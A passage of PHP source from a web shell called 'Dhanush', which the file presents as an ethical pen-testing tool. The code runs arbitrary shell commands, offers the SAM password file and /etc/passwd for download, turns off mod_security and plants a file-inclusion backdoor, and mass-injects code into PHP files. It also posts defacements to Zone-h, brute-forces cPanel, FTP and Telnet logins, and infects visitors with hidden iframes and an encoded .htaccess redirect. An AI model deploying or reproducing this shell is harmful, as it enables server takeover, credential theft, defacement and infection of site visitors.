  1265.                         if(thiscmd($item))
  1266.                             $temp[] = $item;
  1267.                     myparam('Danger', implode(', ',$temp));
  1268.                     $temp=array();
  1269.                     foreach ($downloaders as $item)
  1270.                         if(thiscmd($item))
  1271.                             $temp[] = $item;
  1272.                     myparam('Downloaders', implode(', ',$temp));
  1273.                     echo '<br/>';
  1274.                     myparam('HDD space', myexe('df -h'));
  1275.                     myparam('Hosts', @file_get_contents('/etc/hosts'));
  1276.                    
  1277.                 }
  1278.         } else {
  1279.             echo "Password File : <a href=".$_SERVER['PHP_SELF']."?download=" . $_SERVER["WINDIR"]."\\repair\sam><b><font class=txt>Download password file</font></b></a><br>";
  1280.             echo "Config Files :  <a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\hosts><b><font class=txt>[ Hosts ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\\networks><b><font class=txt>[ Local Network Map ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\lmhosts.sam><b><font class=txt>[ lmhosts ]</font></b></a><br>";
  1281.             $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  1282.             echo "Open Base Dir : <font class=txt>" . $base . "</font><br>";
  1283.             myparam('OS Version',myexe('ver'));
  1284.             myparam('Account Settings',myexe('net accounts'));
  1285.             myparam('User Accounts',myexe('net user'));
  1286.         }
  1287.         echo '</div>';
  1288.     }
  1289.    
  1290.    
  1291.    
  1292.     function myexe($in) {
  1293.     $out = '';
  1294.     if (function_exists('exec')) {
  1295.         @exec($in,$out);
  1296.         $out = @join("\n",$out);
  1297.     } elseif (function_exists('passthru')) {
  1298.         ob_start();
  1299.         @passthru($in);
  1300.         $out = ob_get_clean();
  1301.     } elseif (function_exists('system')) {
  1302.         ob_start();
  1303.         @system($in);
  1304.         $out = ob_get_clean();
  1305.     } elseif (function_exists('shell_exec')) {
  1306.         $out = shell_exec($in);
  1307.     } elseif (is_resource($f = @popen($in,"r"))) {
  1308.         $out = "";
  1309.         while(!@feof($f))
  1310.             $out .= fread($f,1024);
  1311.         pclose($f);
  1312.     }
  1313.     return $out;
  1314. }
  1315.    
  1316.     function exec_all($command)
  1317. {
  1318.    
  1319.     $output = '';
  1320.     if(function_exists('exec'))
  1321.     {  
  1322.         exec($command,$output);
  1323.         $output = join("\n",$output);
  1324.     }
  1325.    
  1326.     else if(function_exists('shell_exec'))
  1327.     {
  1328.         $output = shell_exec($command);
  1329.     }
  1330.    
  1331.     else if(function_exists('popen'))
  1332.     {
  1333.         $handle = popen($command , "r"); // Open the command pipe for reading
  1334.         if(is_resource($handle))
  1335.         {
  1336.             if(function_exists('fread') && function_exists('feof'))
  1337.             {
  1338.                 while(!feof($handle))
  1339.                 {
  1340.                     $output .= fread($handle, 512);
  1341.                 }
  1342.             }
  1343.             else if(function_exists('fgets') && function_exists('feof'))
  1344.             {
  1345.                 while(!feof($handle))
  1346.                 {
  1347.                     $output .= fgets($handle,512);
  1348.                 }
  1349.             }
  1350.         }
  1351.         pclose($handle);
  1352.     }
  1353.    
  1354.    
  1355.     else if(function_exists('system'))
  1356.     {
  1357.         ob_start(); //start output buffering
  1358.         system($command);
  1359.         $output = ob_get_contents();    // Get the ouput
  1360.         ob_end_clean();                 // Stop output buffering
  1361.     }
  1362.    
  1363.     else if(function_exists('passthru'))
  1364.     {
  1365.         ob_start(); //start output buffering
  1366.         passthru($command);
  1367.         $output = ob_get_contents();    // Get the ouput
  1368.         ob_end_clean();                 // Stop output buffering            
  1369.     }
  1370.    
  1371.     else if(function_exists('proc_open'))
  1372.     {
  1373.         $descriptorspec = array(
  1374.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  1375.                 );
  1376.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  1377.         if(is_resource($handle))
  1378.         {
  1379.             if(function_exists('fread') && function_exists('feof'))
  1380.             {
  1381.                 while(!feof($pipes[1]))
  1382.                 {
  1383.                     $output .= fread($pipes[1], 512);
  1384.                 }
  1385.             }
  1386.             else if(function_exists('fgets') && function_exists('feof'))
  1387.             {
  1388.                 while(!feof($pipes[1]))
  1389.                 {
  1390.                     $output .= fgets($pipes[1],512);
  1391.                 }
  1392.             }
  1393.         }
  1394.         pclose($handle);
  1395.     }
  1396.    
  1397.     return(htmlspecialchars($output));
  1398.    
  1399. }
  1400.  
  1401. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
  1402. $etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
  1403. ?>
  1404. <div align="center">
  1405. <a href="<?php $_SERVER['PHP_SELF'];?>"><span class=headtitle><font face="Times New Roman, Times, serif" size="6">Dhanush: By Arjun</font></span></a>
  1406.  
  1407. </div>
  1408. <hr>
  1409.    
  1410. <table cellpadding="0" style="width:100%;">
  1411.     <tr>
  1412.         <td colspan="3" style="width:85%;"><b>System Info :</b> <font class="txt"><?php systeminfo(); ?></></font></td>
  1413.         <td style="width:15%;"><a href="<?php $_SERVER['PHP_SELF'];?>?com=info" target="_blank"><font class="txt"><i>Software Info</i></font></a></td>
  1414.     </tr>
  1415.     <tr>
  1416.         <td style="width:85%;" colspan="3"><b>Software :</b> <font class="txt"><?php softwareinfo(); ?></font></td>
  1417.         <td style="width:15%;"><b>Server Port :</b> <font class="txt"><?php serverport(); ?></font></td>
  1418.     </tr>
  1419.    
  1420.     <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
  1421.         <td style="width:75%;" colspan="3"><b>Uid :</b> <font class="txt"><?php echo shell_exec("id"); ?></font></td>
  1422.     </tr><?php } ?>
  1423.     <tr>
  1424.         <td style="width:20%;"><b>Disk Space :</b> <font class="txt"><?php diskSpace(); ?></font></td>
  1425.         <td style="width:20%;"><b>Free Space :</b> <font class="txt"><?php freeSpace(); ?></font></td>
  1426.        
  1427.         <td style="width:20%;"><b>Server IP :</b> <a href="http://whois.domaintools.com/<?php serverip(); ?>"><font class="txt"><?php serverip(); ?></font></a></td>
  1428.         <td style="width:15%;"><b>Your IP :</b> <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><font class="txt"><?php yourip(); ?></font></a></td>
  1429.     </tr>
  1430.    
  1431.     <tr>
  1432.         <?php if($os == 'Windows'){ ?><td style="width:15%;"><b>View Directories :</b> <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
  1433.         <?php if($os != 'Windows'){ ?><td colspan=2 style="width:20%;"><b>Current Directory :</b> <font color="#009900"><?php
  1434.             $d = str_replace("\\",$directorysperator,$dir);
  1435.     if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
  1436.     $d = str_replace("\\\\","\\",$d);
  1437.     $dispd = htmlspecialchars($d);
  1438.     $pd = $e = explode($directorysperator,substr($d,0,-1));
  1439.     $i = 0;
  1440.     foreach($pd as $b)
  1441.     {
  1442.      $t = '';
  1443.      $j = 0;
  1444.      foreach ($e as $r)
  1445.      {
  1446.       $t.= $r.$directorysperator;
  1447.       if ($j == $i) {break;}
  1448.       $j++;
  1449.      }
  1450.    
  1451.    
  1452.     $href='dir='.$t;
  1453.    
  1454.      echo '<a href="'.$self."?$href\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
  1455.      $i++;
  1456.     }
  1457.  
  1458.         ?></font></td><?php } ?>
  1459.         <td style="width:20%;"><b>Disable functions :</b> <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
  1460.         <td><b>Safe Mode :</b> <font class=txt><?php echo safe(); ?></font></td>
  1461.        
  1462.     </tr>
  1463.     </table>
  1464.    
  1465.  
  1466. <table border="3" style="border-color:#333333;" width="100%;" cellpadding="1" cellspacing="8">
  1467.     <tr align="center">
  1468.         <td class="myfun"><a href="<?php echo $self.'?symlinkserver'?>"><font class="fun">[Symlink]</font></a></td>
  1469.         <td class="myfun"><a href="<?php echo $self.'?forum'?>"><font class="fun">[Forum]</font></a></td>
  1470.         <td class="myfun"><a href="<?php echo $self.'?secinfo'?>"><font class="fun">[Sec. Info]</font></a></td>
  1471.         <td class="myfun"><a href="<?php echo $self.'?injector'?>"><font class="fun">[Code Inject]</font></a></td>
  1472.         <td class="myfun"><a href="<?php echo $self.'?bypass';?>"><font class="fun">[Bypassers]</font></a></td>
  1473.         <td class="myfun"><a href="<?php echo $self.'?fuzz'?>"><font class="fun">[Server Fuzzer]</font></a></td>
  1474.         <td class="myfun"><a href="<?php echo $self.'?zone'?>"><font class="fun">[Zone-h]</font></a></td>
  1475.         <td class="myfun"><a href="<?php echo $self.'?dos';?>"><font class="fun">[DoS]</font></a></td>
  1476.         <td class="myfun"><a href="<?php echo $self.'?mailbomb'?>"><font class="fun">[Mail]</font></a></td>
  1477.         <td class="myfun"><a href="<?php echo $self.'?tools'?>"><font class="fun">[Tools]</font></a></td>
  1478.         <td class="myfun"><a href="<?php echo $self.'?phpc';?>"><font class="fun">[PHP]</font></a></td>
  1479.         <td class="myfun"><a href="<?php echo $self.'?exploit'?>"><font class="fun">[Exploit]</font></a></td>
  1480.         <td class="myfun"><a href="<?php echo $self.'?connect'?>"><font class="fun">[Connect]</font></a></td>
  1481.     </tr>
  1482. </table>
  1483. <div style="float:left;">
  1484.     <a href="javascript:history.back(1)"><font style="font-size:14;"> [Back] </font></a>&nbsp;
  1485.  
  1486.  
  1487.     <a href="javascript:history.go(1)"><font style="font-size:14;"> [Forward] </font></a>&nbsp;
  1488.     <a href=""><font style="font-size:14;"> [Refresh] </font></a>&nbsp;</div>
  1489. <table style="margin-left:270px; border-color:#333333;" border="2" width="70%;" cellpadding="1" cellspacing="8">
  1490.     <tr align="center">
  1491.         <td class="myfun"><a href="<?php echo $self.'?database'?>"><font class="fun">[SQL]</font></a></td>
  1492.         <td class="myfun"><a href="<?php echo $self.'?404'?>"><font class="fun">[404 Page]</font></a></td>
  1493.         <td class="myfun"><a href="<?php echo $self.'?malattack&dir='. $dir;?>"><font class="fun">[Malware Attack]</a></td>
  1494.         <td class="myfun"><a href="<?php echo $self.'?cpanel'?>"><font class="fun">[Cpanel Cracker]</font></a></td>
  1495.         <td class="myfun"><a href="<?php echo $self.'?about'?>"><font class="fun">[About]</font></a></td>
  1496.         <td class="myfun"><a href="<?php echo $self.'?selfkill'?>" onClick="if(confirm('Are You Sure You Want To Kill This Shell ?')){return true;}else{return false;}"><font class="fun">[SelfKill]</font></a></td>
  1497.         <td class="myfun"><a href="<?php echo $self.'?logout'?>"><font class="fun">[LogOut]</font></a></td>
  1498.     </tr>
  1499. </table>
  1500.  
  1501. <table align="center" class="pwdtbl"><br>
  1502.     <tr>
  1503.         <form method="GET"  action="<?php echo $self; ?>">
  1504.         <td style="width:35%;" align="right"> Present Working Directory : </td><td style="width:20%;"><input name="dir" class="box" style="width:300px;" value="<?php if($dir == null){echo getcwd();} else { echo $dir; } ?>"/></td>
  1505.         <td><input type="submit" value="  Go  " class="but" /></td><td align="right"><?php if($os == "Linux") { ?>
  1506.         <a href="<?php echo $self.'?downloadit'; ?>"><font class="txt">Download It</font></a><?php } ?></td>
  1507.         </form>
  1508.     </tr>
  1509. </table>
  1510.  
  1511. <?php
  1512.  
  1513. if(isset($_POST['pathtomass']) &&  $_POST['pathtomass'] != '' &&  isset($_POST['filetype']) &&  $_POST['filetype'] != '' &&  isset($_POST['mode']) &&  $_POST['mode'] != '' && isset($_POST['injectthis']) &&  $_POST['injectthis'] != '')
  1514.     {
  1515.         //$dir = $_GET['dir'];
  1516.         $filetype = $_POST['filetype'];
  1517.         //$message = $_GET['message'];
  1518.        
  1519.         $mode = "a"; //default mode
  1520.        
  1521.        
  1522.         // Modes Begin
  1523.        
  1524.         if($_POST['mode'] == 'Apender')
  1525.         {
  1526.             $mode = "a";
  1527.         }
  1528.         if($_POST['mode'] == 'Overwriter')
  1529.         {
  1530.             $mode = "w";
  1531.         }
  1532.        
  1533.         if ($_POST['filetype'] == 'php')
  1534.         {
  1535.             if (is_dir($_POST['pathtomass']))
  1536.             {
  1537.                 $lolinject = $_POST['injectthis'];
  1538.                 foreach (glob($_POST['pathtomass'] . $directorysperator . "*.php") as $injectj00)
  1539.                 {
  1540.                     $fp=fopen($injectj00,$mode);
  1541.                     if (fputs($fp,$lolinject)){
  1542.                         echo '<br><font class=txt>'.$injectj00.' was injected<br></font>';
  1543.                 } else {
  1544.                         echo 'failed to inject '.$injectj00.'';
  1545.                 }
  1546.             }
  1547.         } else
  1548.             { //end if inputted dir is real -- if not, show an ugly red error
  1549.             echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
  1550.             } // end if inputted dir is real, for real this time
  1551.         } // end if confirmation to mass sploit is php only
  1552.     } // end if massbrowsersploit is called
  1553.  
  1554. if(isset($_GET['set404']))
  1555. {
  1556.     echo "<center><blink><font color=lime>Done setting 404 Page</font></blink></center>";
  1557. }
  1558. if(isset($_GET['cannotset404']))
  1559. {
  1560.     echo "<center><blink><font color=red>Cannot Set 404 Page</font></blink></center>";
  1561. }
  1562.  
  1563. if(isset($_GET['to']) && isset($_GET['file']))
  1564. {
  1565.      if(!rename($_GET['file'], $_GET['to']))
  1566.      {
  1567.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1568.         header("Location:$loc");
  1569.         ob_end_flush();
  1570.        
  1571.      }
  1572.      else
  1573.      {
  1574.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1575.         header("Location:$loc");
  1576.         ob_end_flush();
  1577.        
  1578.      }
  1579. }
  1580.  
  1581.    
  1582.     if(isset($_POST["changeperms"]))
  1583.     {
  1584.         if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  1585.         {
  1586.             $perms = 0;
  1587.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  1588.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  1589.             if(@chmod($_POST['myfilename'],$perms))
  1590.                 echo "<center><blink><font size=3>File Permissions Changed Successfully</font></blink></center>";
  1591.             else
  1592.                 echo "<center><blink><font size=3 class=txt>Cannot Change File Permissions</font></blink></center>";
  1593.         }
  1594.     }
  1595.    
  1596. $setuploadvalue = 0;
  1597. if(isset($_POST['u']))
  1598.     {
  1599.         $path = $_REQUEST['path'];
  1600.         if(is_dir($path))
  1601.         {
  1602.             $uploadedFilePath = $_FILES['uploadfile']['name'];
  1603.             //echo $uploadedFilePath;
  1604.             $tempName = $_FILES['uploadfile']['tmp_name'];
  1605.             //echo $tempName;
  1606.             if($os == "Windows")
  1607.                 $uploadPath = $path . $directorysperator .  $uploadedFilePath;
  1608.             else if($os == "Linux")
  1609.                  $uploadPath = $path . $directorysperator . $uploadedFilePath;
  1610.             if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
  1611.             {
  1612.                echo "<center><font class=txt size=3><blink>File uploaded to $uploadPath</blink></font></center>";  
  1613.                //header("Location:");          
  1614.             }
  1615.             else
  1616.             {
  1617.                 echo "<center><font size=3><blink>Failed to upload file to $uploadPath</blink></font></center>";
  1618.             }
  1619.          }
  1620.     }
  1621.        
  1622.     if(isset($_POST['createdir']))
  1623.     {
  1624.         if(!mkdir($_POST['createfolder']))
  1625.             echo "Failed To create";
  1626.     }
  1627. if(isset($_POST['createmyfile'])&&isset($_POST['filecontent']))
  1628. {
  1629.     $content = $_POST['filecontent'];
  1630.     $file_pointer = fopen($_POST['filecreator'], "w+");
  1631.     fwrite($file_pointer, $content);
  1632.     fclose($file_pointer);
  1633.     $loc = $_SERVER['REQUEST_URI'];
  1634.     header("Location:$loc");
  1635.     ob_end_flush();
  1636. }
  1637.  
  1638.  
  1639. //Turn Safe Mode Off
  1640.  
  1641.     if(getDisabledFunctions() != "None" || safe() != "OFF")
  1642.     {
  1643.         $file_pointer = fopen(".htaccess", "w+");
  1644.         fwrite($file_pointer, "<IfModule mod_security.c>
  1645.                     SecFilterEngine Off
  1646.                      SecFilterScanPOST Off
  1647.                     </IfModule>");
  1648.            
  1649.         $file_pointer = fopen("ini.php", "w+");
  1650.         fwrite($file_pointer, "<?
  1651. echo ini_get(\"safe_mode\");
  1652. echo ini_get(\"open_basedir\");
  1653. include(\$_GET[\"file\"]);
  1654. ini_restore(\"safe_mode\");
  1655. ini_restore(\"open_basedir\");
  1656. echo ini_get(\"safe_mode\");
  1657. echo ini_get(\"open_basedir\");
  1658. include(\$_GET[\"ss\"]);
  1659. ?>");
  1660.  
  1661.         $file_pointer = fopen("php.ini", "w+");
  1662.         fwrite($file_pointer, "safe_mode               =       Off");
  1663.                    
  1664.         fclose($file_pointer);
  1665.         //echo "Safe Mode Is Now Off..";
  1666.     }
  1667.    
  1668.     if(isset($_GET["downloadit"]))
  1669.     {
  1670.         $FolderToCompress = getcwd();
  1671.         execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
  1672.        
  1673.         $prd=explode("/","backup.tar");
  1674.         for($i=0;$i<sizeof($prd);$i++)
  1675.         {
  1676.             $nfd=$prd[$i];
  1677.         }
  1678.         @ob_clean();
  1679.        header("Content-type: application/octet-stream");
  1680.        header("Content-length: ".filesize($nfd));
  1681.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1682.        readfile($nfd);
  1683.  
  1684.        exit;
  1685.     }
  1686.    
  1687.     if(isset($_POST['uploadurl']))
  1688.     {
  1689.         $functiontype = trim($_POST['functiontype']);
  1690.         $wurl = trim($_POST['wurl']);
  1691.         $path = magicboom($_POST['path']);
  1692.         $namafile = remotedownload($functiontype,$wurl);
  1693.         $fullpath = $path . $directorysperator . $namafile;
  1694.         if(is_file($fullpath))
  1695.         {
  1696.             echo "<center><font class=txt size=3>File uploaded to $fullpath</font></center>";
  1697.         }
  1698.         else
  1699.             echo "<center><font size=3>Failed to upload $namafile</font></center>";
  1700.     }
  1701.    
  1702.     else if(isset($_GET['about']))
  1703.     { ?>
  1704.         <bR><center>
  1705.           <p><font size=6><u>D h a n u s h</u></font><br>
  1706.               <font size=5>[--==Coded By Arjun==--]</font><br>
  1707.             <br><div style='font-family: Courier New; font-size: 10px;'><pre>
  1708.  
  1709.        -  --  -
  1710.        -- -- --
  1711.        --    --
  1712.        ---  ---
  1713.        ------
  1714.        ----
  1715.    ----            
  1716.  ------          
  1717. -------          
  1718. ---   --          
  1719.       --      ---
  1720.       --      -----
  1721.      ---      --- ---
  1722.      ---    ---   ---
  1723. --   ---------     --
  1724. --    -------      --
  1725.  --     ----       --
  1726.   --     ---       --
  1727.  
  1728.   --     --        --
  1729.    ---  ---   --  ---
  1730.     ------    ------
  1731.      ----      ----
  1732.      
  1733.  
  1734.         </pre></div></center>
  1735.         Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it<br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>
  1736.     <?php }
  1737.    
  1738.     // Zone-h Poster
  1739.     else if(isset($_GET["zone"]))
  1740.     {  
  1741.         if(!function_exists('curl_version'))
  1742.         {
  1743.             echo "<pre class=ml1 style='margin-top:5px'><center><font class=txt>PHP CURL NOT EXIT</font></center></pre>";
  1744.         }
  1745.         ?>
  1746.         <center><font size="4">Zone-h Poster</font></center>
  1747.         <form action="<?php echo $self; ?>" method="post">
  1748.         <table align="center" cellpadding="5" border="0">
  1749.         <tr>
  1750.         <td>
  1751.         <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
  1752.         <tr><td>
  1753.         <select name="hackmode" class="box">
  1754.             <option >--------SELECT--------</option>
  1755.             <option value="1">known vulnerability (i.e. unpatched system)</option>
  1756.             <option value="2" >undisclosed (new) vulnerability</option>
  1757.             <option value="3" >configuration / admin. mistake</option>
  1758.             <option value="4" >brute force attack</option>
  1759.             <option value="5" >social engineering</option>
  1760.             <option value="6" >Web Server intrusion</option>
  1761.             <option value="7" >Web Server external module intrusion</option>
  1762.             <option value="8" >Mail Server intrusion</option>
  1763.             <option value="9" >FTP Server intrusion</option>
  1764.             <option value="10" >SSH Server intrusion</option>
  1765.             <option value="11" >Telnet Server intrusion</option>
  1766.             <option value="12" >RPC Server intrusion</option>
  1767.             <option value="13" >Shares misconfiguration</option>
  1768.             <option value="14" >Other Server intrusion</option>
  1769.             <option value="15" >SQL Injection</option>
  1770.             <option value="16" >URL Poisoning</option>
  1771.             <option value="17" >File Inclusion</option>
  1772.             <option value="18" >Other Web Application bug</option>
  1773.             <option value="19" >Remote administrative panel access bruteforcing</option>
  1774.             <option value="20" >Remote administrative panel access password guessing</option>
  1775.             <option value="21" >Remote administrative panel access social engineering</option>
  1776.             <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1777.             <option value="23" >Access credentials through Man In the Middle attack</option>
  1778.             <option value="24" >Remote service password guessing</option>
  1779.             <option value="25" >Remote service password bruteforce</option>
  1780.             <option value="26" >Rerouting after attacking the Firewall</option>
  1781.             <option value="27" >Rerouting after attacking the Router</option>
  1782.             <option value="28" >DNS attack through social engineering</option>
  1783.             <option value="29" >DNS attack through cache poisoning</option>
  1784.             <option value="30" >Not available</option>
  1785.         </select>
  1786.         </td></tr>
  1787.         <tr><td>
  1788.         <select name="reason" class="box">
  1789.             <option >--------SELECT--------</option>
  1790.             <option value="1" >Heh...just for fun!</option>
  1791.             <option value="2" >Revenge against that website</option>
  1792.             <option value="3" >Political reasons</option>
  1793.             <option value="4" >As a challenge</option>
  1794.             <option value="5" >I just want to be the best defacer</option>
  1795.             <option value="6" >Patriotism</option>
  1796.             <option value="7" >Not available</option>
  1797.         </select></td></tr>
  1798.         <tr><td>
  1799.         <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
  1800.         <tr><td>
  1801.         <input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" /></td></tr></table>
  1802.         </form>
  1803.     <?php }
  1804.    
  1805.     // Deface Website
  1806.     else if(isset($_GET['deface']))
  1807.     {
  1808.         $myfile = fopen($_GET['deface'],'w');
  1809.         fwrite($myfile, base64_decode($ind));
  1810.         fclose($myfile);
  1811.         header("Location:$self");
  1812.         ob_end_flush();
  1813.     }
  1814.    
  1815.     // Cpanel Cracker
  1816.     else if(isset($_REQUEST['cpanel']))
  1817.     {
  1818.         $cpanel_port="2082";
  1819.         $connect_timeout=5;
  1820.         if(!isset($_POST['username']) && !isset($_POST['password']) && !isset($_POST['target']) && !isset($_POST['cracktype']))
  1821.         {
  1822.         ?>
  1823.         <center>
  1824.         <form method=post>
  1825.         <table style="width:50%;" border=1 cellpadding=4>
  1826.             <tr>
  1827.                 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
  1828.             </tr>
  1829.             <tr>
  1830.                 <td align=center>User names</td><td align=center>Password</td>
  1831.             </tr>
  1832.             <tr>
  1833.                 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
  1834.                 if($os != "Windows")
  1835.                 {
  1836.                     if(@file('/etc/passwd'))
  1837.                     {
  1838.                         $users = file('/etc/passwd');
  1839.                         foreach($users as $user)
  1840.                         {
  1841.                             $user = explode(':', $user);
  1842.                             echo $user[0] . "\n";
  1843.                         }
  1844.                     }
  1845.                     else
  1846.                     {
  1847.                         $temp = "";
  1848.                         $val1 = 0;
  1849.                         $val2 = 1000;
  1850.                         for(;$val1 <= $val2;$val1++)
  1851.                         {
  1852.                             $uid = @posix_getpwuid($val1);
  1853.                             if ($uid)
  1854.                                  $temp .= join(':',$uid)."\n";
  1855.                          }
  1856.                        
  1857.                          $temp = trim($temp);
  1858.                              
  1859.                          if($file5 = fopen("test.txt","w"))
  1860.                          {
  1861.                             fputs($file5,$temp);
  1862.                              fclose($file5);
  1863.                              
  1864.                              $file = fopen("test.txt", "r");
  1865.                              while(!feof($file))
  1866.                              {
  1867.                                 $s = fgets($file);
  1868.                                 $matches = array();
  1869.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1870.                                 $matches = str_replace("home/","",$matches[1]);
  1871.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1872.                                     continue;
  1873.                                 echo $matches;
  1874.                             }
  1875.                             fclose($file);
  1876.                         }
  1877.                     }
  1878.                 }
  1879.                  ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
  1880.             </tr>
  1881.             <tr>
  1882.                 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
  1883.             </tr>
  1884.             <tr>
  1885.                 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
  1886.             </tr>
  1887.             <tr>
  1888.                 <td align=center colspan=2><input type="submit" value="   Go    " class=but></td>
  1889.             </tr>
  1890.         </table>
  1891.         </form>
  1892.         </center>
  1893.         <?php
  1894.         }
  1895.         else
  1896.         {
  1897.             if(empty($_POST['username']) || empty($_POST['password']))
  1898.                 echo "<center>Please Enter The Users or Password List</center>";
  1899.             else
  1900.             {
  1901.                 $userlist=explode("\n",$_POST['username']);
  1902.                 $passlist=explode("\n",$_POST['password']);
  1903.    
  1904.                 if($_POST['cracktype'] == "ftp")
  1905.                 {
  1906.                     foreach ($userlist as $user)
  1907.                     {
  1908.                         $pureuser = trim($user);
  1909.                         foreach ($passlist as $password )
  1910.                         {
  1911.                             $purepass = trim($password);
  1912.                             ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1913.                         }
  1914.                     }
  1915.                 }
  1916.                 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
  1917.                 {
  1918.                     if($cracktype == "telnet")
  1919.                     {
  1920.                         $cpanel_port="23";
  1921.                     }
  1922.                     else
  1923.                         $cpanel_port="2082";
  1924.                     foreach ($userlist as $user)
  1925.                     {
  1926.                         $pureuser = trim($user);
  1927.                         echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
  1928.                         Processing user $pureuser ...</font></b><br><br>";
  1929.                         foreach ($passlist as $password )
  1930.                         {
  1931.                             $purepass = trim($password);
  1932.                             cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1933.                         }
  1934.                     }
  1935.                 }
  1936.             }
  1937.         }
  1938.     }
  1939.    
  1940.     // Deface Website
  1941.     else if(isset($_REQUEST['malattack']))
  1942.     {
  1943.         ?>
  1944.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Malware Attack |</font></a></td>
  1945.         <td><a href="<?php echo $self; ?>?malattack&codeinsert&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
  1946.         <?php
  1947.         if(isset($_GET['malware']))
  1948.         {
  1949.             ?>
  1950.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&infect&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Infect Users |</font></a></td>
  1951.         <td><a href="<?php echo $self; ?>?malattack&malware&redirect&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
  1952.         <?php
  1953.             if(isset($_GET['redirect']))
  1954.             {
  1955.                 if($myfile = fopen(".htaccess",'a'))
  1956.                 {
  1957.                     $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
  1958.                     fwrite($myfile, gzuncompress(base64_decode($mal)));
  1959.                     fwrite($myfile, "\n\r");
  1960.                     fclose($myfile);
  1961.                     $mydir = "dir=".$_GET['dir'];
  1962.                     header("Location:$self?malattack&$mydir");
  1963.                     ob_end_flush();
  1964.                 }
  1965.                 else
  1966.                     echo "<center>Cannot open file !!!!<center>";
  1967.             }
  1968.             else if(isset($_GET['infect']))
  1969.             {
  1970.                 $coun = 0;
  1971.                 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
  1972.                 foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00)
  1973.                    {
  1974.                         if($myfile=fopen($injectj00,'a'))
  1975.                         {
  1976.                         fputs($myfile, $str);
  1977.                         fclose($myfile);
  1978.                         }
  1979.                         else
  1980.                         $coun = 1; 
  1981.                       }
